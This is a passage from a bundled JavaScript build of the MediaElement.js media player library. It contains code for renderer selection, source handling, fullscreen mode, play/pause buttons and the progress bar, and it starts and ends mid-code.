!t.mediaElement.originalNode.getAttribute('preload')) { t.mediaElement.originalNode.setAttribute('preload', 'none'); } t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode); t.mediaElement.appendChild(t.mediaElement.originalNode); var processURL = function processURL(url, type) { if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (this.readyState === 4 && this.status === 200) { var _url = _window2.default.URL || _window2.default.webkitURL, blobUrl = _url.createObjectURL(this.response); t.mediaElement.originalNode.setAttribute('src', blobUrl); return blobUrl; } return url; }; xhr.open('GET', url); xhr.responseType = 'blob'; xhr.send(); } return url; }; var mediaFiles = void 0; if (sources !== null) { mediaFiles = sources; } else if (t.mediaElement.originalNode !== null) { mediaFiles = []; switch (t.mediaElement.originalNode.nodeName.toLowerCase()) { case 'iframe': mediaFiles.push({ type: '', src: t.mediaElement.originalNode.getAttribute('src') }); break; case 'audio': case 'video': var _sources = t.mediaElement.originalNode.children.length, nodeSource = t.mediaElement.originalNode.getAttribute('src'); if (nodeSource) { var node = t.mediaElement.originalNode, type = (0, _media2.formatType)(nodeSource, node.getAttribute('type')); mediaFiles.push({ type: type, src: processURL(nodeSource, type) }); } for (var i = 0; i < _sources; i++) { var n = t.mediaElement.originalNode.children[i]; if (n.tagName.toLowerCase() === 'source') { var src = n.getAttribute('src'), _type = (0, _media2.formatType)(src, n.getAttribute('type')); mediaFiles.push({ type: _type, src: processURL(src, _type) }); } } break; } } t.mediaElement.id = id; t.mediaElement.renderers = {}; t.mediaElement.events = {}; t.mediaElement.promises = []; t.mediaElement.renderer = null; t.mediaElement.rendererName = null; t.mediaElement.changeRenderer = function (rendererName, mediaFiles) { var t = _this, media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src; if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.show(); t.mediaElement.renderer.setSrc(media); return true; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.hide(); } var newRenderer = t.mediaElement.renderers[rendererName], newRendererType = null; if (newRenderer !== undefined && newRenderer !== null) { newRenderer.show(); newRenderer.setSrc(media); t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; return true; } var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order; for (var _i = 0, total = rendererArray.length; _i < total; _i++) { var index = rendererArray[_i]; if (index === rendererName) { var rendererList = _renderer.renderer.renderers; newRendererType = rendererList[index]; var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options); newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles); newRenderer.name = rendererName; t.mediaElement.renderers[newRendererType.name] = newRenderer; t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; newRenderer.show(); return true; } } return false; }; t.mediaElement.setSize = function (width, height) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.setSize(width, height); } }; t.mediaElement.generateError = function (message, urlList) { message = message || ''; urlList = Array.isArray(urlList) ? urlList : []; var event = (0, _general.createEvent)('error', t.mediaElement); event.message = message; event.urls = urlList; t.mediaElement.dispatchEvent(event); error = true; }; var props = _mejs2.default.html5media.properties, methods = _mejs2.default.html5media.methods, addProperty = function addProperty(obj, name, onGet, onSet) { var oldValue = obj[name]; var getFn = function getFn() { return onGet.apply(obj, [oldValue]); }, setFn = function setFn(newValue) { oldValue = onSet.apply(obj, [newValue]); return oldValue; }; Object.defineProperty(obj, name, { get: getFn, set: setFn }); }, assignGettersSetters = function assignGettersSetters(propName) { if (propName !== 'src') { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1), getFn = function getFn() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null; }, setFn = function setFn(value) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') { t.mediaElement.renderer['set' + capName](value); } }; addProperty(t.mediaElement, propName, getFn, setFn); t.mediaElement['get' + capName] = getFn; t.mediaElement['set' + capName] = setFn; } }, getSrc = function getSrc() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null; }, setSrc = function setSrc(value) { var mediaFiles = []; if (typeof value === 'string') { mediaFiles.push({ src: value, type: value ? (0, _media2.getTypeFromFile)(value) : '' }); } else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) { var _src = (0, _media2.absolutizeUrl)(value.src), _type2 = value.type, media = Object.assign(value, { src: _src, type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2 }); mediaFiles.push(media); } else if (Array.isArray(value)) { for (var _i2 = 0, total = value.length; _i2 < total; _i2++) { var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src), _type3 = value[_i2].type, _media = Object.assign(value[_i2], { src: _src2, type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3 }); mediaFiles.push(_media); } } var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []), event = void 0; if (!t.mediaElement.paused && !(t.mediaElement.src == null || t.mediaElement.src === '')) { t.mediaElement.pause(); event = (0, _general.createEvent)('pause', t.mediaElement); t.mediaElement.dispatchEvent(event); } t.mediaElement.originalNode.src = mediaFiles[0].src || ''; if (renderInfo === null && mediaFiles[0].src) { t.mediaElement.generateError('No renderer found', mediaFiles); return; } var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === ''); return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null; }, triggerAction = function triggerAction(methodName, args) { try { if (methodName === 'play' && (t.mediaElement.rendererName === 'native_dash' || t.mediaElement.rendererName === 'native_hls' || t.mediaElement.rendererName === 'vimeo_iframe')) { var response = t.mediaElement.renderer[methodName](args); if (response && typeof response.then === 'function') { response.catch(function () { if (t.mediaElement.paused) { setTimeout(function () { var tmpResponse = t.mediaElement.renderer.play(); if (tmpResponse !== undefined) { tmpResponse.catch(function () { if (!t.mediaElement.renderer.paused) { t.mediaElement.renderer.pause(); } }); } }, 150); } }); } } else { t.mediaElement.renderer[methodName](args); } } catch (e) { t.mediaElement.generateError(e, mediaFiles); } }, assignMethods = function assignMethods(methodName) { t.mediaElement[methodName] = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') { if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { triggerAction(methodName, args); }).catch(function (e) { t.mediaElement.generateError(e, mediaFiles); }); } else { triggerAction(methodName, args); } } return null; }; }; addProperty(t.mediaElement, 'src', getSrc, setSrc); t.mediaElement.getSrc = getSrc; t.mediaElement.setSrc = setSrc; for (var _i3 = 0, total = props.length; _i3 < total; _i3++) { assignGettersSetters(props[_i3]); } for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) { assignMethods(methods[_i4]); } t.mediaElement.addEventListener = function (eventName, callback) { t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || []; t.mediaElement.events[eventName].push(callback); }; t.mediaElement.removeEventListener = function (eventName, callback) { if (!eventName) { t.mediaElement.events = {}; return true; } var callbacks = t.mediaElement.events[eventName]; if (!callbacks) { return true; } if (!callback) { t.mediaElement.events[eventName] = []; return true; } for (var _i5 = 0; _i5 < callbacks.length; _i5++) { if (callbacks[_i5] === callback) { t.mediaElement.events[eventName].splice(_i5, 1); return true; } } return false; }; t.mediaElement.dispatchEvent = function (event) { var callbacks = t.mediaElement.events[event.type]; if (callbacks) { for (var _i6 = 0; _i6 < callbacks.length; _i6++) { callbacks[_i6].apply(null, [event]); } } }; t.mediaElement.destroy = function () { var mediaElement = t.mediaElement.originalNode.cloneNode(true); var wrapper = t.mediaElement.parentElement; mediaElement.removeAttribute('id'); mediaElement.remove(); t.mediaElement.remove(); wrapper.appendChild(mediaElement); }; if (mediaFiles.length) { t.mediaElement.src = mediaFiles; } if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } }).catch(function () { if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } }); } else { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } } return t.mediaElement; }; _window2.default.MediaElement = MediaElement; _mejs2.default.MediaElement = MediaElement; exports.default = MediaElement; },{"2":2,"25":25,"27":27,"28":28,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var mejs = {}; mejs.version = '4.2.17'; mejs.html5media = { properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'], readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'], methods: ['load', 'play', 'pause', 'canPlayType'], events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'], mediaTypes: ['audio/mp3', 'audio/ogg', 'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv'] }; _window2.default.mejs = mejs; exports.default = mejs; },{"3":3}],8:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.renderer = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Renderer = function () { function Renderer() { _classCallCheck(this, Renderer); this.renderers = {}; this.order = []; } _createClass(Renderer, [{ key: 'add', value: function add(renderer) { if (renderer.name === undefined) { throw new TypeError('renderer must contain at least `name` property'); } this.renderers[renderer.name] = renderer; this.order.push(renderer.name); } }, { key: 'select', value: function select(mediaFiles) { var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var renderersLength = renderers.length; renderers = renderers.length ? renderers : this.order; if (!renderersLength) { var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i], rendererRanking = function rendererRanking(renderer) { for (var i = 0, total = rendererIndicator.length; i < total; i++) { if (rendererIndicator[i].test(renderer)) { return i; } } return rendererIndicator.length; }; renderers.sort(function (a, b) { return rendererRanking(a) - rendererRanking(b); }); } for (var i = 0, total = renderers.length; i < total; i++) { var key = renderers[i], _renderer = this.renderers[key]; if (_renderer !== null && _renderer !== undefined) { for (var j = 0, jl = mediaFiles.length; j < jl; j++) { if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) { return { rendererName: _renderer.name, src: mediaFiles[j].src }; } } } } return null; } }, { key: 'order', set: function set(order) { if (!Array.isArray(order)) { throw new TypeError('order must be an array of strings.'); } this._order = order; }, get: function get() { return this._order; } }, { key: 'renderers', set: function set(renderers) { if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') { throw new TypeError('renderers must be an array of objects.'); } this._renderers = renderers; }, get: function get() { return this._renderers; } }]); return Renderer; }(); var renderer = exports.renderer = new Renderer(); _mejs2.default.Renderers = renderer; },{"7":7}],9:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _constants = _dereq_(25); var Features = _interopRequireWildcard(_constants); var _general = _dereq_(27); var _dom = _dereq_(26); var _media = _dereq_(28); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { usePluginFullScreen: true, fullscreenText: null, useFakeFullscreen: false }); Object.assign(_player2.default.prototype, { isFullScreen: false, isNativeFullScreen: false, isInIframe: false, isPluginClickThroughCreated: false, fullscreenMode: '', containerSizeTimeout: null, buildfullscreen: function buildfullscreen(player) { if (!player.isVideo) { return; } player.isInIframe = _window2.default.location !== _window2.default.parent.location; player.detectFullscreenMode(); var t = this, fullscreenTitle = (0, _general.isString)(t.options.fullscreenText) ? t.options.fullscreenText : _i18n2.default.t('mejs.fullscreen'), fullscreenBtn = _document2.default.createElement('div'); fullscreenBtn.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'fullscreen-button'; fullscreenBtn.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + fullscreenTitle + '" aria-label="' + fullscreenTitle + '" tabindex="0"></button>'; t.addControlElement(fullscreenBtn, 'fullscreen'); fullscreenBtn.addEventListener('click', function () { var isFullScreen = Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || player.isFullScreen; if (isFullScreen) { player.exitFullScreen(); } else { player.enterFullScreen(); } }); player.fullscreenBtn = fullscreenBtn; t.options.keyActions.push({ keys: [70], action: function action(player, media, key, event) { if (!event.ctrlKey) { if (typeof player.enterFullScreen !== 'undefined') { if (player.isFullScreen) { player.exitFullScreen(); } else { player.enterFullScreen(); } } } } }); t.exitFullscreenCallback = function (e) { var key = e.which || e.keyCode || 0; if (t.options.enableKeyboard && key === 27 && (Features.HAS_TRUE_NATIVE_FULLSCREEN && Features.IS_FULLSCREEN || t.isFullScreen)) { player.exitFullScreen(); } }; t.globalBind('keydown', t.exitFullscreenCallback); t.normalHeight = 0; t.normalWidth = 0; if (Features.HAS_TRUE_NATIVE_FULLSCREEN) { var fullscreenChanged = function fullscreenChanged() { if (player.isFullScreen) { if (Features.isFullScreen()) { player.isNativeFullScreen = true; player.setControlsSize(); } else { player.isNativeFullScreen = false; player.exitFullScreen(); } } }; player.globalBind(Features.FULLSCREEN_EVENT_NAME, fullscreenChanged); } }, cleanfullscreen: function cleanfullscreen(player) { player.exitFullScreen(); player.globalUnbind('keydown', player.exitFullscreenCallback); }, detectFullscreenMode: function detectFullscreenMode() { var t = this, isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName); var mode = ''; if (Features.HAS_TRUE_NATIVE_FULLSCREEN && isNative) { mode = 'native-native'; } else if (Features.HAS_TRUE_NATIVE_FULLSCREEN && !isNative) { mode = 'plugin-native'; } else if (t.usePluginFullScreen && Features.SUPPORT_POINTER_EVENTS) { mode = 'plugin-click'; } t.fullscreenMode = mode; return mode; }, enterFullScreen: function enterFullScreen() { var t = this, isNative = t.media.rendererName !== null && /(html5|native)/i.test(t.media.rendererName), containerStyles = getComputedStyle(t.getElement(t.container)); if (!t.isVideo) { return; } if (t.options.useFakeFullscreen === false && (Features.IS_IOS || Features.IS_SAFARI) && Features.HAS_IOS_FULLSCREEN && typeof t.media.originalNode.webkitEnterFullscreen === 'function' && t.media.originalNode.canPlayType((0, _media.getTypeFromFile)(t.media.getSrc()))) { t.media.originalNode.webkitEnterFullscreen(); return; } (0, _dom.addClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen'); (0, _dom.addClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen'); t.normalHeight = parseFloat(containerStyles.height); t.normalWidth = parseFloat(containerStyles.width); if (t.fullscreenMode === 'native-native' || t.fullscreenMode === 'plugin-native') { Features.requestFullScreen(t.getElement(t.container)); if (t.isInIframe) { setTimeout(function checkFullscreen() { if (t.isNativeFullScreen) { var percentErrorMargin = 0.002, windowWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth, screenWidth = screen.width, absDiff = Math.abs(screenWidth - windowWidth), marginError = screenWidth * percentErrorMargin; if (absDiff > marginError) { t.exitFullScreen(); } else { setTimeout(checkFullscreen, 500); } } }, 1000); } } t.getElement(t.container).style.width = '100%'; t.getElement(t.container).style.height = '100%'; t.containerSizeTimeout = setTimeout(function () { t.getElement(t.container).style.width = '100%'; t.getElement(t.container).style.height = '100%'; t.setControlsSize(); }, 500); if (isNative) { t.node.style.width = '100%'; t.node.style.height = '100%'; } else { var elements = t.getElement(t.container).querySelectorAll('embed, object, video'), _total = elements.length; for (var i = 0; i < _total; i++) { elements[i].style.width = '100%'; elements[i].style.height = '100%'; } } if (t.options.setDimensions && typeof t.media.setSize === 'function') { t.media.setSize(screen.width, screen.height); } var layers = t.getElement(t.layers).children, total = layers.length; for (var _i = 0; _i < total; _i++) { layers[_i].style.width = '100%'; layers[_i].style.height = '100%'; } if (t.fullscreenBtn) { (0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen'); (0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen'); } t.setControlsSize(); t.isFullScreen = true; var zoomFactor = Math.min(screen.width / t.width, screen.height / t.height), captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text'); if (captionText) { captionText.style.fontSize = zoomFactor * 100 + '%'; captionText.style.lineHeight = 'normal'; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = (screen.height - t.normalHeight) / 2 - t.getElement(t.controls).offsetHeight / 2 + zoomFactor + 15 + 'px'; } var event = (0, _general.createEvent)('enteredfullscreen', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }, exitFullScreen: function exitFullScreen() { var t = this, isNative = t.media.rendererName !== null && /(native|html5)/i.test(t.media.rendererName); if (!t.isVideo) { return; } clearTimeout(t.containerSizeTimeout); if (Features.HAS_TRUE_NATIVE_FULLSCREEN && (Features.IS_FULLSCREEN || t.isFullScreen)) { Features.cancelFullScreen(); } (0, _dom.removeClass)(_document2.default.documentElement, t.options.classPrefix + 'fullscreen'); (0, _dom.removeClass)(t.getElement(t.container), t.options.classPrefix + 'container-fullscreen'); if (t.options.setDimensions) { t.getElement(t.container).style.width = t.normalWidth + 'px'; t.getElement(t.container).style.height = t.normalHeight + 'px'; if (isNative) { t.node.style.width = t.normalWidth + 'px'; t.node.style.height = t.normalHeight + 'px'; } else { var elements = t.getElement(t.container).querySelectorAll('embed, object, video'), _total2 = elements.length; for (var i = 0; i < _total2; i++) { elements[i].style.width = t.normalWidth + 'px'; elements[i].style.height = t.normalHeight + 'px'; } } if (typeof t.media.setSize === 'function') { t.media.setSize(t.normalWidth, t.normalHeight); } var layers = t.getElement(t.layers).children, total = layers.length; for (var _i2 = 0; _i2 < total; _i2++) { layers[_i2].style.width = t.normalWidth + 'px'; layers[_i2].style.height = t.normalHeight + 'px'; } } if (t.fullscreenBtn) { (0, _dom.removeClass)(t.fullscreenBtn, t.options.classPrefix + 'unfullscreen'); (0, _dom.addClass)(t.fullscreenBtn, t.options.classPrefix + 'fullscreen'); } t.setControlsSize(); t.isFullScreen = false; var captionText = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-text'); if (captionText) { captionText.style.fontSize = ''; captionText.style.lineHeight = ''; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'captions-position').style.bottom = ''; } var event = (0, _general.createEvent)('exitedfullscreen', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } }); },{"16":16,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"5":5}],10:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { playText: null, pauseText: null }); Object.assign(_player2.default.prototype, { buildplaypause: function buildplaypause(player, controls, layers, media) { var t = this, op = t.options, playTitle = (0, _general.isString)(op.playText) ? op.playText : _i18n2.default.t('mejs.play'), pauseTitle = (0, _general.isString)(op.pauseText) ? op.pauseText : _i18n2.default.t('mejs.pause'), play = _document2.default.createElement('div'); play.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'playpause-button ' + t.options.classPrefix + 'play'; play.innerHTML = '<button type="button" aria-controls="' + t.id + '" title="' + playTitle + '" aria-label="' + pauseTitle + '" tabindex="0"></button>'; play.addEventListener('click', function () { if (t.paused) { t.play(); } else { t.pause(); } }); var playBtn = play.querySelector('button'); t.addControlElement(play, 'playpause'); function togglePlayPause(which) { if ('play' === which) { (0, _dom.removeClass)(play, t.options.classPrefix + 'play'); (0, _dom.removeClass)(play, t.options.classPrefix + 'replay'); (0, _dom.addClass)(play, t.options.classPrefix + 'pause'); playBtn.setAttribute('title', pauseTitle); playBtn.setAttribute('aria-label', pauseTitle); } else { (0, _dom.removeClass)(play, t.options.classPrefix + 'pause'); (0, _dom.removeClass)(play, t.options.classPrefix + 'replay'); (0, _dom.addClass)(play, t.options.classPrefix + 'play'); playBtn.setAttribute('title', playTitle); playBtn.setAttribute('aria-label', playTitle); } } togglePlayPause('pse'); media.addEventListener('loadedmetadata', function () { if (media.rendererName.indexOf('flash') === -1) { togglePlayPause('pse'); } }); media.addEventListener('play', function () { togglePlayPause('play'); }); media.addEventListener('playing', function () { togglePlayPause('play'); }); media.addEventListener('pause', function () { togglePlayPause('pse'); }); media.addEventListener('ended', function () { if (!player.options.loop) { (0, _dom.removeClass)(play, t.options.classPrefix + 'pause'); (0, _dom.removeClass)(play, t.options.classPrefix + 'play'); (0, _dom.addClass)(play, t.options.classPrefix + 'replay'); playBtn.setAttribute('title', playTitle); playBtn.setAttribute('aria-label', playTitle); } }); } }); },{"16":16,"2":2,"26":26,"27":27,"5":5}],11:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _time = _dereq_(30); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { enableProgressTooltip: true, useSmoothHover: true, forceLive: false }); Object.assign(_player2.default.prototype, { buildprogress: function buildprogress(player, controls, layers, media) { var lastKeyPressTime = 0, mouseIsDown = false, startedPaused = false; var t = this, autoRewindInitial = player.options.autoRewind, tooltip = player.options.enableProgressTooltip ? '<span class="' + t.options.classPrefix + 'time-float">' + ('<span class="' + t.options.classPrefix + 'time-float-current">00:00</span>') + ('<span class="' + t.options.classPrefix + 'time-float-corner"></span>') + '</span>' : '', rail = _document2.default.createElement('div'); rail.className = t.options.classPrefix + 'time-rail'; rail.innerHTML = '<span class="' + t.options.classPrefix + 'time-total ' + t.options.classPrefix + 'time-slider">' + ('<span class="' + t.options.classPrefix + 'time-buffering"></span>') + ('<span class="' + t.options.classPrefix + 'time-loaded"></span>') + ('<span class="' + t.options.classPrefix + 'time-current"></span>') + ('<span class="' + t.options.classPrefix + 'time-hovered no-hover"></span>') + ('<span class="' + t.options.classPrefix + 'time-handle"><span class="' + t.options.classPrefix + 'time-handle-content"></span></span>') + ('' + tooltip) + '</span>'; t.addControlElement(rail, 'progress'); t.options.keyActions.push({ keys: [37, 227], action: function action(player) { if (!isNaN(player.duration) && player.duration > 0) { if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var timeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'time-total'); if (timeSlider) { timeSlider.focus(); } var newTime = Math.max(player.currentTime - player.options.defaultSeekBackwardInterval(player), 0); if (!player.paused) { player.pause(); } setTimeout(function () { player.setCurrentTime(newTime); }, 0); setTimeout(function () { player.play(); }, 0); } } }, { keys: [39, 228], action: function action(player) { if (!isNaN(player.duration) && player.duration > 0) { if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var timeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'time-total'); if (timeSlider) { timeSlider.focus(); } var newTime = Math.min(player.currentTime + player.options.defaultSeekForwardInterval(player), player.duration); if (!player.paused) { player.pause(); } setTimeout(function () { player.setCurrentTime(newTime); }, 0); setTimeout(function () { player.play(); }, 0); } } }); t.rail = controls.querySelector('.' + t.options.classPrefix + 'time-rail'); t.total = controls.querySelector('.' + t.options.classPrefix + 'time-total'); t.loaded = controls.querySelector('.' + t.options.classPrefix + 'time-loaded'); t.current = controls.querySelector('.' + t.options.classPrefix + 'time-current'); t.handle = controls.querySelector('.' + t.options.classPrefix + 'time-handle'); t.timefloat = controls.querySelector('.' + t.options.classPrefix + 'time-float'); t.timefloatcurrent = controls.querySelector('.' + t.options.classPrefix + 'time-float-current'); t.slider = controls.querySelector('.' + t.options.classPrefix + 'time-slider'); t.hovered = controls.querySelector('.' + t.options.classPrefix + 'time-hovered'); t.buffer = controls.querySelector('.' + t.options.classPrefix + 'time-buffering'); t.newTime = 0; t.forcedHandlePause = false; t.setTransformStyle = function (element, value) { element.style.transform = value; element.style.webkitTransform = value; element.style.MozTransform = value; element.style.msTransform = value; element.style.OTransform = value; }; t.buffer.style.display = 'none'; var handleMouseMove = function handleMouseMove(e) { var totalStyles = getComputedStyle(t.total), offsetStyles = (0, _dom.offset)(t.total), width = t.total.offsetWidth, transform = function () { if (totalStyles.webkitTransform !== undefined) { return 'webkitTransform'; } else if (totalStyles.mozTransform !== undefined) { return 'mozTransform '; } else if (totalStyles.oTransform !== undefined) { return 'oTransform'; } else if (totalStyles.msTransform !== undefined) { return 'msTransform'; } else { return 'transform'; } }(), cssMatrix = function () { if ('WebKitCSSMatrix' in window) { return 'WebKitCSSMatrix'; } else if ('MSCSSMatrix' in window) { return 'MSCSSMatrix'; } else if ('CSSMatrix' in window) { return 'CSSMatrix'; } }(); var percentage = 0, leftPos = 0, pos = 0, x = void 0; if (e.originalEvent && e.originalEvent.changedTouches) { x = e.originalEvent.changedTouches[0].pageX; } else if (e.changedTouches) { x = e.changedTouches[0].pageX; } else { x = e.pageX; } if (t.getDuration()) { if (x < offsetStyles.left) { x = offsetStyles.left; } else if (x > width + offsetStyles.left) { x = width + offsetStyles.left; } pos = x - offsetStyles.left; percentage = pos / width; t.newTime = percentage * t.getDuration(); if (mouseIsDown && t.getCurrentTime() !== null && t.newTime.toFixed(4) !== t.getCurrentTime().toFixed(4)) { t.setCurrentRailHandle(t.newTime); t.updateCurrent(t.newTime); } if (!_constants.IS_IOS && !_constants.IS_ANDROID) { if (pos < 0) { pos = 0; } if (t.options.useSmoothHover && cssMatrix !== null && typeof window[cssMatrix] !== 'undefined') { var matrix = new window[cssMatrix](getComputedStyle(t.handle)[transform]), handleLocation = matrix.m41, hoverScaleX = pos / parseFloat(getComputedStyle(t.total).width) - handleLocation / parseFloat(getComputedStyle(t.total).width); t.hovered.style.left = handleLocation + 'px'; t.setTransformStyle(t.hovered, 'scaleX(' + hoverScaleX + ')'); t.hovered.setAttribute('pos', pos); if (hoverScaleX >= 0) { (0, _dom.removeClass)(t.hovered, 'negative'); } else { (0, _dom.addClass)(t.hovered, 'negative'); } } if (t.timefloat) { var half = t.timefloat.offsetWidth / 2, offsetContainer = mejs.Utils.offset(t.getElement(t.container)), tooltipStyles = getComputedStyle(t.timefloat); if (x - offsetContainer.left < t.timefloat.offsetWidth) { leftPos = half; } else if (x - offsetContainer.left >= t.getElement(t.container).offsetWidth - half) { leftPos = t.total.offsetWidth - half; } else { leftPos = pos; } if ((0, 